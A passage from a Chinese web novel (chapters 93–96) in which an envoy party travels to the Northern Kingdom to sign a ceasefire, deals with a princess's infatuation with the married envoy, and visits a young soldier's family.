嘱咐完了姑娘们，几个人又依依惜别了一番，他们在坐上马车，陆续出发。
五人同坐一辆大马车，一路上欢声笑语不断。
主要还是陆思云爱闹腾，一会儿拉着大家对诗，一会儿拉着大家玩游戏，一会儿又要玩骰子，总之是花样百出。
也正因为有她在，旅途中才没有那么枯燥。
仕尔多因为可以回到自己的国/家，心情也十分雀跃。他原本就是个孩子，遇上童心未眠的陆思云，那真是大孩子碰到小孩子，吵吵闹闹个不停。
中途他们找了一家驿站入住。
晚上分房间的时候，陆思云顾及到莫婉晴和陆琛虽有婚约，但毕竟还不是正式夫妻，担心莫婉晴会有所顾忌，于是主动提出要和她一个房间。
剩下的三位男子便自动住一间。
北国地处偏远，马车需要赶许久的路才能到达。
为了缩短进程，他们几乎一天都在路上，到了晚上才找了家驿站歇脚。
此时大家已经略显疲倦，队伍里最活泼的两个人也一句话都说不出来。
看出大家都很累，宋晏初便让大伙儿用完了晚膳早些回房休息。
半夜，宋晏初半梦半醒间，似乎听见窗户边有什么声音。
他起身开窗查看，看到陆思云站在窗下，正对着他笑。
宋晏初立刻不困了，他扔下一句“等我”，便准备下楼去找她。
他转过身，路过陆琛的床时，下意识地看了一眼，发现床上空无一人。
他快速下楼，见到她一脸欣喜：“这么晚怎么还不歇息。”
“莫姐姐跟陆大人去幽会了，我一个人在房间里睡不着，就来找你了。”
宋晏初挑眉：“看来夫人是想跟我幽会？”
陆思云坦诚地承认：“啊，我是想啊，宋大人不愿意？”
宋晏初低头吻住她的额头：“乐意之至。”
另一边，莫婉晴和陆琛坐在驿站的空地上，她将头靠在他的肩膀上，两人一同欣赏着月色。
陆琛抬头看着天空，开口道：“上次出门时，我们还身份有别，不能有过多的交谈，甚至连看你一眼，都是逾矩的行为。想不到如今再次出门，我竟然可以光明正大地牵着你的手，再也不用顾忌他人的眼光，真好。”
听了他的话，莫婉晴心中也十分感慨。
“我也没想到，我们竟然还能拥有这样的结局。我原本以为我这辈子都要按部就班地生活在宋府，做一个本分的宋家大夫人，为晏初打理好后宅，帮他和妹妹照管他们以后的孩子，为了他们而活着，我原本是这么打算的。”
陆琛握住她的手，低声道：“那样就太委屈你了。”
“但是现在我不会这么想了。人来到这个世界活此一遭，就应该为自己而活。”
她能想通，陆琛为她感到高兴。
莫婉晴抬起头，看着他，眼睛发亮：“陆琛，我想告诉你一个秘密，一个关于我的秘密。”
“什么秘密？”
“其实，我已经活过一世了，这已经是我的第二世。”
不出意外的，陆琛的脸上露出了迷茫的神情：“此话何意？”
莫婉晴便将她上一世的经历，原原本本地说给了他听。
“我知道，我说的你很难相信，但我说的都是真的。”
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见陆琛一脸恍惚，若有所思的模样，莫婉晴以为他不相信自己说的话。
但确实，这样奇幻的遭遇，任谁听了大概也无法相信是真的吧。
谁知，陆琛听完莫婉晴的秘密，开口说的第一句话竟然是：“这么说，你上一世，是跟霍正义在一起的？你心悦之人，也是霍正义？负你之人，也是霍正义？”
莫婉晴没有想到他会突然问出这样的问题，有些愣愣地点头：“是。”
陆琛的拳头不自觉地握紧，眼中露出阴冷的光芒，他愤愤地说：“早知道上次皇家狩猎之时，我就应该好好教训他！”
莫婉晴失笑，原来他是在吃自己上一世的醋啊。
她笑着伸手捧住他的脸，将他转过来看着自己，安慰道：“都是上一世的事了，我早就已经不在意了。虽然因为上一世，我无法再对人打开心扉，害怕自己再受到伤害。可是你出现了，你义无反顾地走进了我的心里，我现在满心满眼都是你，再也装不下其他人。”
陆琛将她用力揉进自己的怀里。
他同情她上一世的遭遇，心疼她上一世的结局。
“婉晴，我答应你，这一世，下一世，我都不会负你。我要与你生生世世都在一起。”
莫婉晴眼角含泪，忍不住想要调侃他：“陆大人这一世绑住了我，下一世还不肯放过我，还要跟我继续绑在一起么？”
陆琛松开她，看着她的双眼，表情异常认真：“无论这一世，下一世，还是下下世。无论有多少轮回，我都要找到你，永远都不跟你分开。”
眼角的泪水终于抑制不住内心的感动流了下来。
这就够了，莫婉晴想。
她能遇到陆琛，以前的种种遭遇，无论多么痛不欲生，都是值得的。
仕尔多半夜起来上茅房，他带着睡意，迷迷糊糊地跑去上完了茅房，路过驿站后面的空地，隐隐约约似乎看到有两个人的身影坐在空地上，抱在一起，不知道在干什么。
本着与自己无关之事少管的原则，仕尔多识相地当没看见，一溜小跑回到驿站门口。
刚准备上楼，就看到楼梯口旁不远处，似乎站着两个人搂在一起，不知道在做什么。
本着与自己无关之事少管的原则，仕尔多识相地当没看见，一溜小跑回房间。
当他看到屋里两张床上空空如也，再联系方才自己看到的情景，仕尔多一拍脑门，全都明白了。
他无奈地摇头，心中甚是不解。
为什么大人们谈情说爱还要这样偷偷摸摸，这又有什么见不得人的呢？
做了灯泡发光发亮而不自知的仕尔多，钻进被窝中，继续做着方才的美梦。
宋晏初他们一行人，经过数天的路途，终于踏上了北国的地界。
一进入北国的地盘，马车外的风景便开始截然不同。
北国的风光与大宣不同。
北国地处北方，常年被冰天雪地覆盖，所以窗外全都是白雪皑皑的雪景，这让一向很少看到雪的陆思云特别激动。
“好美啊。”
她看着窗外的漫天白天，不禁发出感叹。
94.第 94 章
“好美啊。”
宋晏初看向窗外，他在边境的时候，经常能看到这样的雪景，所以并没有感到有什么稀奇。
但是看陆思云这么高兴，他似乎觉得眼前的景色也有了几分美丽。
莫婉晴也觉得北国的雪景与众不同，但她到底是比陆思云沉稳，并不会像她一样欢呼雀跃。
但是陆琛还是从她发亮的眼睛里看出了她的欣喜。
仕尔多脸上满是得意之色，这毕竟是他的国家他的家乡，看到他们这么赞叹自己国/家的景色，他心中还是有几分自豪之感的。
进入北国地界之后，气温便急转直下。
好在他们做了准备，立刻将火炉烤上，将御寒之物拿出来穿在身上。
马车行驶到北国皇城门口的时候，北国接待外使的官员已经等候多时。
见了他们，他立刻迎上来，向他们行北国特有的大礼：“宋大人、陆大人，小人是外交使者阿富含，由我带你们进宫与我们可汗见面。”
“有劳。”
有了大臣的带路，他们很顺利便进了北国皇城，进/入北国的宫殿内。
一路上，陆思云四处张望，脖子都快转酸了。
可是她还是忍不住四处观看眼前的景物。
北国的建筑风格和周边环境与大宣国与洛城完全不同，这对她来说北国的每样事物都是新奇的。
她都感觉自己快看不过来了。
不知不觉，一行人便来到了北国宫殿的大殿之上。
而坐在最上方的宝座上的人，便是北国的国王布尔丹可汗。
四人行礼。
“参见可汗。”
布尔丹见了他们，脸上露出高兴的神情。
“快快请起，欢迎大宣国的使团来我北国。”
“晚上孤安排了国宴，来欢迎远道而来的朋友们。还望各位使者们参加。”
“谢可汗。”
“今日，客人们远道而来，旅途劳累，孤已经让人备好房间，各位先去休息片刻，我们晚上再见。”
“是，可汗。”
众人在侍女们的带领下，来到后花园东面的厢房内。
北国国王财大气粗，给他们每人都安排了一个房间。
稍作整顿后，陆思云便迫不及待地拉着莫婉晴来到后花园内参观。
“姐姐，北国的人土风情与大宣太不一样了，我从来没有见过这些花，也没见过这样的建筑，连他们穿的衣服都跟我们不一样，感觉自己又来到了另外一个世界。”
莫婉晴也有相同的体会，只不过她性格内敛，没有像陆思云这般大大咧咧。
两人在后花园里待了没多久，宋晏初和陆琛也走了过来。
四个人一起悠闲地游玩着。
忽然，他们听见不远处传来哀嚎声和时有时无的鞭子声。
他们互相看了一眼，一起朝着声音的方向跑去。
在一个人工造景的池塘的边上，一位着装华丽的女子正在用鞭子鞭打一个侍从。
那位侍从跪在地上，默默地承受着她的鞭打，一句话也不敢说。
但是苍白的脸色和豆大的汗珠可以看出，他此时已经被打得快要昏死过去。
但是施暴者却浑然未知，还在用手上的鞭子使劲地鞭打他，嘴里还咒骂着：“狗奴才，居然敢偷我东西！看我不打死你！狗奴才！”
这样仗势欺人的场景，陆思云是绝对无法容忍的。
心中的正义感再次燃起。
她想跑过去阻止那人的行为，却被宋晏初一把拦下。
他一个飞身，跳到了那位施暴女子的面前，抬起脚将她手中的鞭子一脚踢飞。
突如其来的变故，让女子愣住。
她怔怔地看着站在她面前从天而降的男子，一时间没有反应过来。
男子的穿着古怪，是她从未见过的，看上去不是北国人。
但是他五官俊朗，眉心紧皱，虽然面色不善，但看上去十分飒爽。
女子的心瞬间动了一动。
“你是谁？为何在此处？”
宋晏初站直后，向她行礼道：“在下大宣国使者宋晏初，见过北国公主。方才失礼了，还望公主见谅。”
公主的脸上露出惊讶之色：“你怎么知道我是北国公主？”
“能在皇宫内随意鞭打侍从，并且看您年龄推断，必然是北国的公主殿下。”
公主上下打量着宋晏初，眼底露出了惊喜。
她还是第一次见到这么俊俏又聪明的男子。
“北国公主娜塔莎，见过宋使者。”
“这位侍从虽然犯了错，但罪不至死。公主已经教训过他，不如就这样放过他吧。”
娜塔莎现在哪里还有心情鞭打下人，她的眼睛恨不得粘在宋晏初的身上，脸上全是芳心浮动的神情。
陆思云远远看着，就知道自己的夫君被公主给瞧上了。
她气鼓鼓地走过去，一把搂住宋晏初的胳膊，带着做作的夹子音说道：“夫君，你去哪里了，人家找了你好久哦。”
莫婉晴和陆琛也一起走了过来，脸上全是吃瓜看热闹的表情。
宋晏初听见陆思云的夹子音，眉毛抖了两抖。
这是他第一次听见她发出这样的声音，心中警铃大作。
他连忙拉起陆思云的手，向公主介绍道：“这位是我的妻子，楚星然。后面两位是我的朋友们。”
大家一起向公主行礼。
娜塔莎看着这些人，眼睛又特意盯着陆思云上下打量了一番。
陆思云也不甘示弱地直视她的眼睛，脸上虽然带着微笑，但眼神里全是警告。
警告她离自己的男人远一些。
一场没有硝烟的无声战争，在两个人女人之间悄悄展开。
宋晏初觉得气氛不对，连忙拉着陆思云起身告辞。
回到房间，陆思云气鼓鼓地坐在床边。
宋晏初一看夫人醋劲这么大，怕殃及他这个池鱼，连忙上前哄她。
“怎么了，见了公主一面，回来怎么闷闷不乐的。”
一提起公主，陆思云就生气。
“你还跟我提那个公主，她一看就是看上你了，想让你做她的驸马呢！”
宋晏初连忙搂住她，安抚她的情绪。
“那又怎样，我已经心有所属，并且已经承诺过，这辈子与她一生一世一双人。我说到做到，绝对不会有二心。难道夫人你不相信我吗？”
听了他的话，
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陆思云的怒气这才消散开去。
她嘟着嘴抱怨：“我当然相信你啊。可是我就是不喜欢她看你的眼神。”
“你的夫君这么优秀，有姑娘喜欢这不是很正常？这说明夫人眼光好。”
陆思云被他逗笑了：“你什么时候说话这么油腔滑调的？”
“为了能哄夫人开心，我也得多学一点新技能才行。”
“你这都跟谁学的？”
“保密。”
宋晏初亲吻着她的额头，笑得一脸神秘。
晚上，北国国王在大殿内举办国宴款待远道而来商议停战协议的使者们。
哈赤尔将军也出现在此处。
见到宋晏初，他立刻抱拳作揖：“宋将军，许久未见。”
“哈赤尔将军，这次的停战协议能顺利促成，我想这其中一定有您不小的功劳吧。”
哈赤尔笑道：“总算不辱宋将军的使命。听闻和亲王因通敌叛国被处决。我能平安站在这里，还得多谢宋将军没有在可汗面前揭发我。”
“虽然为了获胜，哈赤尔将军确实使用了一些灰色手段。但是您促成了两国的停战协议的达成，将功补过。”
“哈赤尔在此多谢宋将军。”
晚宴正式开始。
舞娘们穿着异域风情的衣服，在大厅中央载歌载舞。
陆思云看得目不转睛。
这样的歌舞在大宣可从未见过，她觉得新奇得很。
宋晏初一边听着乐曲一边注意着旁边的人的情绪，看她沉浸在歌舞表演中，眼睛睁得大大的，模样甚是可爱，他也便跟着不自觉地笑了起来。
他对北国舞娘们的表演并不感兴趣。
相比之下，他更愿意一边喝酒一边欣赏自己身边的夫人，让他更加身心愉悦。
陆思云并未察觉身旁人的心思，她的注意力全都集中在了正中央的舞娘们身上。
忽然，舞娘们突然散开，舞台的中央出现一个倩丽的身影，她婀娜的身子在舞池中央摇曳，十分的美丽动人。
陆思云原本在欣赏表演，可看着看着，她突然发现这个主舞的舞娘为何看上去如此面熟，好像在哪里见过，只是她一时间有些想不起来。
当舞娘绕着他们几个宾客跳了一圈后，拉起陆思云身旁的宋晏初，站在舞池中央的时候。
她终于想起这位主舞的舞娘是何许人也了。
她便是北国的公主娜塔莎。
此时娜塔莎拉着自己夫君的手站在舞池中央，四周围着一圈伴舞的人。
而娜塔莎绕着他，不断地扭动着自己的身体。
宋晏初大概也没想到会突然来这么一出，有些愣住，略有些不知所措地站在那里。
陆思云看着舞台中央的那两个人，脸色瞬间变得铁青。
可这毕竟是国宴啊，她纵使有再多的不满，经历了这么多风雨挫折之后，她也变得识大体了许多。
知道在这等规格的宴会上，自己是绝对不能任性妄为，不然丢的可不是她个人的颜面，而是整改大宣国的颜面。
所以尽管她此时已经咬牙切齿、怒不可歇。
但她也只能握紧拳头，坐在自己的位子上，眼神好似喷火一般地等着舞池中央的那两个人。
95.第 95 章
一曲终了，伴舞们散去。
大殿的中央只剩下公主和宋晏初两人站在那里。
宋晏初下意识地看向陆思云，发现她正在跟一只鸡腿过不去，愤愤地啃着，两只腮帮子鼓鼓的，像一只生气的小兔子。
可汗哈哈大笑地介绍：“各位贵客见笑了，这是我的娜塔莎公主。”
娜塔莎向在座的各位行礼。
宋晏初道：“方才我们已经和公主见过面了。”
“哦？这还是孤第一次看到公主拉着男子一起跳舞，看来我们娜塔莎十分欣赏宋使者啊。”
“承蒙公主厚爱。”
宋晏初始终淡淡地应付，并没有因为公主的偏爱而有一丝的欣喜。
相反，他还有些苦恼。
一会儿回了房间，还不知道要怎么哄自己的夫人呢。
“父皇，儿臣很欣赏宋使者，想请他与我共舞一场，不知宋使者是否愿意？”
公主的话一说口，在场所有人的目光全都聚集在宋晏初的身上。
尤其是后背那一双怒气冲天的眼睛，让他更加觉得如芒刺在背。
他立刻像娜塔莎公主微微作揖道：“承蒙公主厚爱，在下不会跳舞，怕扰了公主兴致。”
“没关系，我可以教你。”
“今天是国宴，恐不合适。改日宋某再向公主学习。”
娜塔莎没想到他会当着这么多人的面拒绝自己，有些愣住。
可汗立刻出来打圆场：“娜塔莎，宋使者说的有道理，不要任性，退下吧。”
“是。”
娜塔莎来到他们对面的公主的位置上坐下。
整场宴会，她的眼睛都没有离开过对面的宋晏初。
对方目光灼灼，宋晏初又怎么会感觉不到。
但他也只能装作不知，淡定地喝着酒，贴心地为陆思云夹菜。
一晚上下来，他感觉都自己后背都湿了，有些汗流浃背。
他现在唯一期盼的，就是明天能顺利将停战协议签完，早些带着他们几人离开这个对他来说是一个是非之地的地方。
然而却是怕什么来什么。
停战协议的签订出现了变故。
“可汗，您说什么？您要我娶了娜塔莎公主，才与我大宣签订停战协议？”
“孤的公主对我说，心悦于宋使者，想要嫁给你。如果宋使者能与我女儿喜结连理，这对促进两国的这次协议也会有很大的帮助，宋使者觉得呢？”
“可汗，我代表大宣国来贵国签书停战协议。而您却用儿女私情与国事混为一谈，这恐怕有些不妥吧。”
可汗的脸色立刻阴沉了下来：“怎么？我北国公主下嫁于你，反倒是委屈你了？”
“可汗恕罪。我并无此意，只不过我已成亲有了妻子，惶恐会委屈了公主。”
“孤听闻大宣一夫多妻，你娶妻并不影响你娶公主。”
宋晏初看可汗心意已决，立刻跪下，神色坚定：“大宣虽然一夫多妻，但我对夫人情有独钟，宋某此生除了她，不会再娶别的女人。”
“这么说，你是要拒绝孤？”
“恕在下不能从命。但我相信可汗身为一国之主，断然不会将国事作为儿戏。”
看宋晏初态度坚决，北国国王虽然心里不满，但却对这位使者的忠贞感到敬佩。
“孤再好好想想。”
宋晏初心头一紧，心中顿时有了些许不祥的预感。
他心事重重地回到房间。
陆思云看他面色凝重地走进来，立刻起身询问：“发生什么事了？怎么脸色这么难看？”
陆琛也连忙问：“可汗有没有说什么时候签停战协议？”
“可汗让我娶娜塔莎公主，才愿意跟我们签协议。”宋晏初如实说。
“什么！？”在场三个人全都震惊。
陆思云的脸色立刻变得煞白。
“那你是如何回答的？”莫婉晴看了一眼陆思云，沉声问道。
“我自然是拒绝的。只是如今可汗将两者混为一谈，协议迟迟签不下来，我们便没办法离开。”
陆琛分析道：“北国国主肯定是想拖延签协议的时间，以此来拖住你，逼迫你答应娶公主。”
陆思云怒不可歇：“岂有此理，那个娜塔莎，以为这是儿戏吗？我立刻找她算账去。”
在所有人还未反应过来之际，她便一个箭步冲了出去。
剩下的三人面面相觑，暗叫不好，立刻追了出去。
陆思云还是在那个他们初次见面的人工湖边找到的娜塔莎，她正抱着一只纯白色的长毛小狗晒太阳。
“娜塔莎！”见到她，陆思云就是一声怒吼。
她实在是气炸了。
他们带着诚意特意跋山涉水来到北国，为的就是签订停战协议，停止这场无止尽的战争。
然而就因为眼前的这位公主看上了自己的夫君，导致协议的签订被搁置。
国事在他们眼中竟然如此儿戏？
她是见过战场的残酷的，见过战争带给百姓的伤痛的，所以他们比任何人都希望停止这休无止尽的打仗。
可是这位北国公主却为了自己的私欲，居然这样怠慢国事，简直可恶至极。
娜塔莎并不意外她会来找自己，毕竟自己是要跟她抢丈夫的人，她对自己这么敌意也是理所应当。
“宋夫人，你这样气呼呼地来找我，有何贵干？”
陆思云被气笑了：“有何贵干？公主自己心里难道不清楚么？你就这么缺男人，就非要看上我的夫君不可？”
“宋夫人说笑了，天下男人千千万，我还就喜欢宋使者，如何？”
“你可以喜欢他，这是你的自由，我无权干涉。可你为了逼他娶你，居然用拖延停战协议来威胁他。你知不知道，边境多少将士因为战争而常年无法归家，又有多少将士为了守卫自己的国家抛头颅洒热血。你又知不知道，有多少百姓因为战争失去家园、失去亲人，流离失所，生活在水深火热之中。你就仅仅因为一个男人，就对此视而不见吗？亏你还是一国公主，简直让我瞧不起你！”
被她训斥了一通，娜塔莎的脸面有些挂不住。
她扔下手中的小狗站了起来：“你好大胆子，竟然敢在我的地盘骂我！”
“骂你怎么了，我还要打你呢！”
刚说完，陆思云边朝她扑了过去。
两人迅速扭打在
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一起。
陆思云并未使用武功，她知道公主不是习武之人，自己如果用了功夫，胜之不武。
于是她选择跟她肉搏，互相拉扯彼此的头发。
两人打得不可开交。
宋晏初他们赶到后花园的时候，两人已经扭打着朝着湖边靠近。
“不好，她们怕是要掉进湖里了。思云妹妹不会游泳！”莫婉晴焦虑地看着远处缠在一起的两个人。
很快，莫婉晴一语成谶，两人一起掉进了湖中。
宋晏初脸色一沉，他飞速跑过去，毫不犹豫地纵身跃入湖中。
陆思云光顾着打架，根本没察觉两人离湖边越来越近，等到掉进湖中，冰冷的湖水立刻充满了她的耳鼻，她这才反应过来自己掉进了湖里。
她拼命挣扎，可越是挣扎，反而沉的越快。
她原本就是掉进河中才穿越到了这个世界，难不成这一次，她又要再穿越一次？
可她不想与宋晏初分开。
就在她胡思乱想之际，一只手突然拉住了她，随后感觉有个人游到了她的身边，把她往上拉，将她一把托举出了湖面。
再次呼吸到新鲜空气，夹杂着鼻腔里残留的湖水，陆思云激烈地咳嗽了起来。
宋晏初接过莫婉晴递过来的毛毯，将陆思云整个人包裹住，然后紧紧抱在怀里安慰：“没事了，没事了，已经没事了，我在这里。”
娜塔莎也被自己想侍卫救起。
虽然她也有很多人伺候，给她擦干身体，盖毛毯。
但是她还是眼眶微红地看着对面那两个抱在一起的人。
方才两人同时下水，宋晏初毫不犹豫地跳入湖中救陆思云，哪怕是现在到了岸上，他的眼里也只有自己的夫人，从未看自己一眼。
爱与不爱，已经很明显了。
莫婉晴看着宋晏初抱着陆思云，满脸焦急。再看着对面盯着他们一动不动的公主，终于忍不住站出来说：“娜塔莎公主，你如此美丽大方，又贵为公主，一定可以找到一位欣赏你爱护你的男子，何必去选择一个心中没有半分位置留给你的人呢？这样你不会幸福。我知道你心悦宋大人，宋大人人中龙凤，您欣赏他爱慕他一点都不意外。只是您也看到了，他的心中只有他夫人一人，无论您是什么身份，什么样貌，都无法取代她的位置。就算您如愿嫁给了他，一个眼里没有你的男子，一个连一点爱都不愿分给你的男子，你这样守着他，委屈了自己，又是何苦？”
“作为女子，当有自己的骄傲，作为一国的公主，当有自己的格局和抱负。为了一个只见过几面的男子，失了公主的体统，失了北国的颜面，您觉得值得么？”
陆琛也站出来说：“公主，儿女私情之事我不方便评价。只是我和宋兄都是上过战场的人，我们深知战争会带给我们什么。没人喜欢打仗，百姓如此，朝廷更是如此。我希望两国这场交战可以早些停息，让百姓们可以安居乐业。这才是我们来此的真正目的。”
娜塔莎裹紧了身上的毯子，看着眼前的这些年轻了，听了他们的话后，心中终于有所触动。
“我会同父皇求情，让他今早安排与你们签订停战协议。”
“多谢公主。”
96.第 96 章
顺利签完停战协议，四人一刻都不想多呆，第二日便向可汗告别，准备离开皇城，去往仕尔多的家乡。
临别之时，娜塔莎公主亲自来到城口相送。
相比之前的骄纵，今日的她显得稳重了许多。
她走到宋晏初的面前，向他行礼，诚恳地道歉：“宋大人，前几日由于我的任性，给你们添了许多麻烦，娜塔莎在此向你赔个不是。”
“在下不敢当。宋某多谢公主协助促成停战协议的顺利签订。”
娜塔莎又走到陆思云面前，面带微笑地看着她。
陆思云昂起头，直面她的注视，没有丝毫畏惧之色。
“宋夫人女中豪杰，之前是我狭隘了，只在乎儿女私情，而没有将国家之责放在前面。幸好你们及时点醒我，以后我也会引以为戒。”
听到她能说出这番话，陆思云的气立刻就消了。
“公主能这样想，于北国国都而言，是一件幸事。”
“宋夫人性情中人，只可惜我们相处的时间太短，不然我觉得我们一定会成为很好的朋友。”
“等公主下次来大宣国，我再陪你好好游山玩水一番。”
娜塔莎见她这么豪迈大度，眼底露出欣喜之色：“当真？”
“当然！君子一言既出驷马难追。”
宋晏初看着她说得眉飞色舞的模样，想起那年中秋之夜，她说她的梦想是看遍这世间的山水景色，与眼前她的模样重合，忽然觉得她有了一些江湖人的气息，肆意洒脱，让他有些移不开眼睛，不觉扬起了嘴角。
“各位一路珍重，他日有缘再重逢。”
“我等拜别公主。”
离开了北国的皇宫，一路南下，便到了仕尔多所在的家乡。
仕尔多的家乡是一个小部落，位于山脚之下。
部落里人不多，但大家彼此感情都很深厚。
离家越近，仕尔多的心情便越发的兴奋，还带着一丝紧张。
他已经一年多没有回家了，不知道家里如何。
他们来到仕尔多的家门口，最先迎接他的，居然是一只棕色小狗。
“大汪！”仕尔多立刻蹲下身将小狗抱在怀中。
宋晏初立刻了然，原来这就是仕尔多之前说过的他家的小狗大汪。
里屋走出来一位老妇人和一个少女。
“阿母，阿姊！”
“仕尔多！我的儿，你终于回来了。”
三个人抱在一起，泣不成声。
宋晏初他们看着眼前的情景，心里十分欣慰。
他努力想要促成两国停战协议，为的就是可以看到将士们可以与家人团聚。
眼下真的看到这样一幕，这样真真切切地出现在自己眼前，他内心还是非常感动的。
三人抱了会儿，仕尔多的阿母终于注意到了站在一旁的他们几个。
“你们是？”
仕尔多连忙向自己的母亲介绍道：“阿母，这是宋将军，我在军营里多亏他照顾，这才保住了性命，活着回来与你们团聚。”
阿母听了，连忙向他们跪了下来。
“多谢你们救我儿性命。”
“老人家，快快请起。”
仕尔多的母亲和姐姐邀请他们到了里屋，仕尔多跟自己的亲人讲起军营生活，那叫一个眉飞色舞。
陆思云听得格外入迷。
自从与宋晏初重逢之后，他很少向自己提起军营里的事。
可能是害怕回忆起杨将军会触景伤情，陆思云也不敢多问他。
如今从仕尔多的口中听到军营中的宋晏初是什么样儿的，她兴趣十足。
宋晏初则很是无奈。
仕尔多的话语中不免有许多夸张的成分，把他的人格高度都一下子抬高了许多，让他颇为不好意思。
他想要试图阻止仕尔多的言论，却被陆思云和仕尔多一起阻止。
这让他更加无奈了。
仕尔多的母亲和姐姐，含泪看着他表演个人秀，听着他说着这些时间受的苦，心里一边心疼着，一边庆幸着。
人能活着回来，比什么都重要。
晚上，他们几个自然被仕尔多的家人挽留了下来。
仕尔多的阿母和阿姊拿出家里所有的食物，盛情招待着他们。
虽然这里的食物比不上皇宫里的精致，但氛围却比在宫殿里时要轻松许多。
宋晏初他们几人没了拘束感，反而放得更开。
连一向稳重的陆琛，也因今夜气氛好，心情好，没忍住多喝了两杯。
等他从位置上站起来时，有些跌跌撞撞。
陆思云见状立刻对莫婉晴道：“姐姐，陆大人喝醉了，你快扶她回房间休息吧。”
莫婉晴连忙扶住他，将他带去房间内休息。
看着两人离去的背影，陆思云有些得逞地对宋晏初笑道：“今晚，不如就让姐姐和陆大人一个房间，我和夫君一个房间，如何？”
宋晏初又如何能猜不到她心中的那点小心思，他顺着她意道：“有何不可？”
莫婉晴扶着陆琛，磕磕绊绊地进了房间。
费了九牛二虎之力，她才将他放倒在床上。
“水……我渴……”陆琛无意识地呢喃着。
莫婉晴立刻倒了一小杯茶水，喂给他喝。
喝下茶后，陆琛皱着眉，躺在床上，显得特别的乖巧。
莫婉晴坐在床边，忍不住伸手抚摸他微皱的眉间，想将那抹褶皱抹平。
谁知手指刚碰到他的额头，手臂却被他一把抓住。
莫婉晴吓了一个机灵，慌乱地看向他的眼睛。
发现他正看着她，眼神清澈，哪里还有醉意。
“你……不是喝醉了？”
“这点酒，怎么能醉得倒我。”
“那你为何装醉？”
陆琛手上微微用力，将她拉近自己，眼睛一瞬不瞬地看着她：“为了让你送我回房间。”
莫婉晴脸颊绯红，她垂眸装作听不明白：“什么意思。”
“出门这段时间，你都跟楚娘子一个房间。”
“你和宋大人一间房，不好么？”
“我们俩都是大老爷们儿，住一个房间有什么好的。”
莫婉晴趴在他胸前，伸出手指点了点他的鼻尖：“陆大人，你想干什么？”
陆琛顺势握住她的手，放在自己的唇边，带着蛊惑地声音：“我想干什么，莫娘子不知道么？”
莫婉晴整个人就像烧了起来，从头红到脚，她抑制不住内心的害羞，娇羞道：“可是我们还
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未成亲呢。”
陆琛看逗得她差不多，露出得逞的笑容：“莫娘子在想什么呢？”
莫婉晴抬头看向他，不明所以。
“我只是说想跟你同床共枕，可没想要对你做什么不轨之事。”
莫婉晴这才意识到自己被眼前的男人给调戏了，她娇嗔地佯装打了他胸口一下，不轻不重，好似在挠痒痒。
但陆琛却颇为享受。
“我发誓，我们的洞房花烛夜，一定是我们大婚的那天。”
莫婉晴将脸埋进他的胸膛，臊得没法见人。
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宋晏初他们一行人有皇命在身，所以他们也不能在仕尔多家多逗留。
第二日一早，他们便整装待发，准备出发回洛城。
仕尔多知道他们马上就要离开，哭得跟个泪人。
到底还是个孩子，这一年多的军营生活，他一直都依赖着宋晏初，将他当做自己最信任的兄长，彼此也有着深厚的情谊。
如今一别，不知道何时才能相聚。
离别对一个孩子来说，还是太过残忍。
宋晏初也很舍不得他，可他还是压抑住内心的不舍，拿出大哥的姿态叮嘱着他：“既然回到家中，你便是家里唯一的男人。以后，你要承担起养家糊口的重担，负好一个男人该有的责任，照顾好阿母和阿姊。”
仕尔多拼命点头，最终还是忍不住自己内心的悲伤，一把抱住了他，在他的怀里最后一次放肆大哭。
陆思云被眼前二人的离别之景所感动，忍不住偷偷抹泪。
虽然仕尔多相处时间并不长，但她知道这个孩子单纯善良，没有被这个社会荼毒，还保有一颗纯真的心性。
她突然理解为何宋晏初当初发现他是细作时并没有杀了他，而是将他带在身边悉心照顾。
这个孩子就像一块璞玉，只是被迫落入了战争的泥潭之中。
他本身没有任何错。
宋晏初并不想因为这场战争，而让这么纯洁的孩子受到伤害。
仕尔多在宋晏初怀里哭够了，他松开手，后退半步，然后直直地跪了下来。
宋晏初下意识地想扶他起来，但却被他拒绝。
“如果没有宋大哥，就没有今日站在这里的仕尔多。我能平安回到故乡与家人团聚，都是因为宋大哥当初的不杀之恩，请受我一拜。”
说完，仕尔多不由分说地，对着宋晏初重重地磕了三个响头。
“在宋大哥身边这一年多，虽然我只是一个没什么用的侍卫。可是在您身边，我看到了将士们的不易，战事的无奈和战争的残酷。我想好了，我要好好读书，好好习武，以后成为像宋大哥一样的大将军，驻守北国国界，并且尽我自己的一份力量，让两国永不开战，让百姓再也不收战乱之苦。”
听了他的话，宋晏初有些愣住，内心的震撼久久不能平复。
最后，他眼含热泪，将他从地上扶起来，满脸欣慰地拍了拍少年的肩膀：“好！你能有如此志向，我很欣慰。”
陆思云上前对仕尔多说：“仕尔多，等你长大了，一定要来洛城看我们。”
仕尔多郑重地点点头：“我会的。”
自此，一行人坐上马车，在仕尔多一家人的目送下，踏上了回程的路。